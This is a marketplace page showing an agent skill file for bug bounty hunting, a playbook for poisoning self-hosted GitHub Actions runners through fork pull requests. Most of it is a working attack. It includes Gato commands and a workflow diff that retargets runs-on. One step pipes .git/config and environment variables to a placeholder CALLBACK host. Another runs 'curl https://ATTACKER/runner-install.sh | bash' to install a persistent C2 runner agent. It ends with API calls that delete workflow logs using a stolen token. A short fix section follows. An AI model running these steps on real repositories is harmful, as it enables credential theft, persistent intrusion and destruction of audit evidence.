agentsclimarketplace

Self hosted runner poisoning

Skill ShulkwiSEC/bb-huge/skills/curated/self-hosted-runner-poisoning

bb-huge πŸ€— , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill self-hosted-runner-poisoning

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.

The file declares its own license as MIT. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

8.9 KB, as published. Nobody here has run it

Self-Hosted Runner Poisoning

What Is Broken and Why

GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not β€” they persist between runs, share state, and often carry long-lived credentials baked into the environment. When a repository allows fork pull requests to run on self-hosted runners (especially with the default "Require approval for first-time contributors" setting), an attacker who has made even one accepted contribution can submit a PR that modifies the workflow's runs-on field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed tooling, and cached credentials across runs β€” making them ideal for persistence and lateral movement into the broader infrastructure.

Key Signals

  • runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow files
  • Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
  • Fork PR workflows that use a matrix.os or matrix.runner whose values the PR author can influence
  • Non-ephemeral runner: runner directory persists, processes survive between runs
  • Workflow checks out code without persist-credentials: false β†’ .git/config contains embedded GITHUB_TOKEN
  • runs-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}
  • Secrets or cloud credentials (AWS_*, AZURE_*, vCenter creds) available in runner environment
  • Repository contains build infrastructure workflows (Packer, Terraform, image builds)

Methodology

  1. Identify repositories using self-hosted runners:
    gato enumerate --target ORG --type org
    # or manually:
    grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
    
  2. Check the fork PR approval policy: Settings β†’ Actions β†’ Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
  3. Check if runs-on uses a matrix or expression that a PR author can modify.
  4. Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
  5. In a second PR, modify the workflow to:
    • Change runs-on to target a self-hosted runner label
    • Replace or append a malicious step to the workflow
  6. Confirm code execution via OOB callback.
  7. From runner context: extract .git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.
  8. Optionally install persistent runner agent for long-term access.
  9. Cover tracks: delete workflow run logs via API using stolen token.

Payloads & Tools

# Gato: enumerate org for self-hosted runner exposure
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted

# Modify runs-on in workflow PR to target self-hosted runner
# Change in linter.yml or any triggered workflow:
-    runs-on: ubuntu-latest
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [self-hosted-runner-label]
# Malicious step payload β€” extract token from .git/config
- name: exfil
  run: |
    cat .git/config | base64 | curl -d @- https://CALLBACK
    printenv | curl -d @- https://CALLBACK

# Install persistent runner agent (C2)
- name: persist
  run: |
    curl -sSfL https://ATTACKER/runner-install.sh | bash
    # Registers new runner connected to attacker's private repo
    # Runs as background process, survives workflow completion
# Delete workflow run logs to remove evidence (using stolen GITHUB_TOKEN)
curl -L -X DELETE \
  -H "Authorization: Bearer STOLEN_TOKEN" \
  https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID

# List recent runs to find IDs to delete
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'

Bypass Techniques

  • First-time contributor bypass: submit one benign PR (typo, docs) to transition from "first-time contributor" to "returning contributor" β€” subsequent PRs skip approval
  • Matrix expression hijack: if runs-on: ${{ matrix.os }} and matrix is defined in a file the PR modifies, attacker controls the runner label
  • Workflow file in subdirectory: some repos call reusable workflows stored in subdirectories; a PR modifying those files can alter runs-on indirectly
  • Composite action replacement: replace a composite action called by the workflow with malicious steps β€” runs-on is inherited from the calling workflow
  • Non-ephemeral state abuse: if runner is not ephemeral, artifacts from previous runs (cached tokens, SSH keys, build outputs) may be accessible in the working directory without needing fresh exfiltration
  • persist-credentials: true (default): actions/checkout embeds GITHUB_TOKEN in .git/config β€” readable by any subsequent step

Exploitation Scenarios

Scenario 1 β€” Infrastructure takeover via image build runner Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check. Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner. Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.

Scenario 2 β€” Persistent C2 via runner agent Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs). Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo. Impact: Attacker maintains persistent access to the runner machine β€” survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.

Scenario 3 β€” Token theft + log deletion Setup: Workflow uses default actions/checkout (persist-credentials: true). Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions. Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.

False Positives

  • Self-hosted runners in a repo where fork PRs are fully disabled
  • Approval policy set to "Require approval for all outside collaborators" β€” attacker's PR never runs
  • Runner IS ephemeral (fresh VM per job) β€” persistence techniques don't apply, but token exfiltration still works
  • runs-on hardcoded (not an expression) β€” attacker cannot redirect to a different runner label via PR

Fix Patterns

# WRONG: runs-on from matrix that PR author controls
runs-on: ${{ matrix.os }}

# CORRECT: hardcode runner label, don't expose it as a modifiable value
runs-on: ubuntu-latest
# or for self-hosted, use a fixed label not exposed in PR-modifiable files:
runs-on: [self-hosted, linux, internal]
# WRONG: default persist-credentials embeds token in .git/config
- uses: actions/checkout@v4

# CORRECT: don't persist credentials when not needed
- uses: actions/checkout@v4
  with:
    persist-credentials: false
  • Change fork PR approval to "Require approval for all outside collaborators" (not just first-time)
  • Use ephemeral runners (fresh VM per job) β€” eliminates persistence and state leakage
  • Restrict self-hosted runners to internal workflows only; never allow fork PRs to target them
  • Audit runner labels in all workflow files; alert on PRs that modify runs-on values
  • Rotate all credentials accessible from runner environments regularly

Related Skills

[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner β€” a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.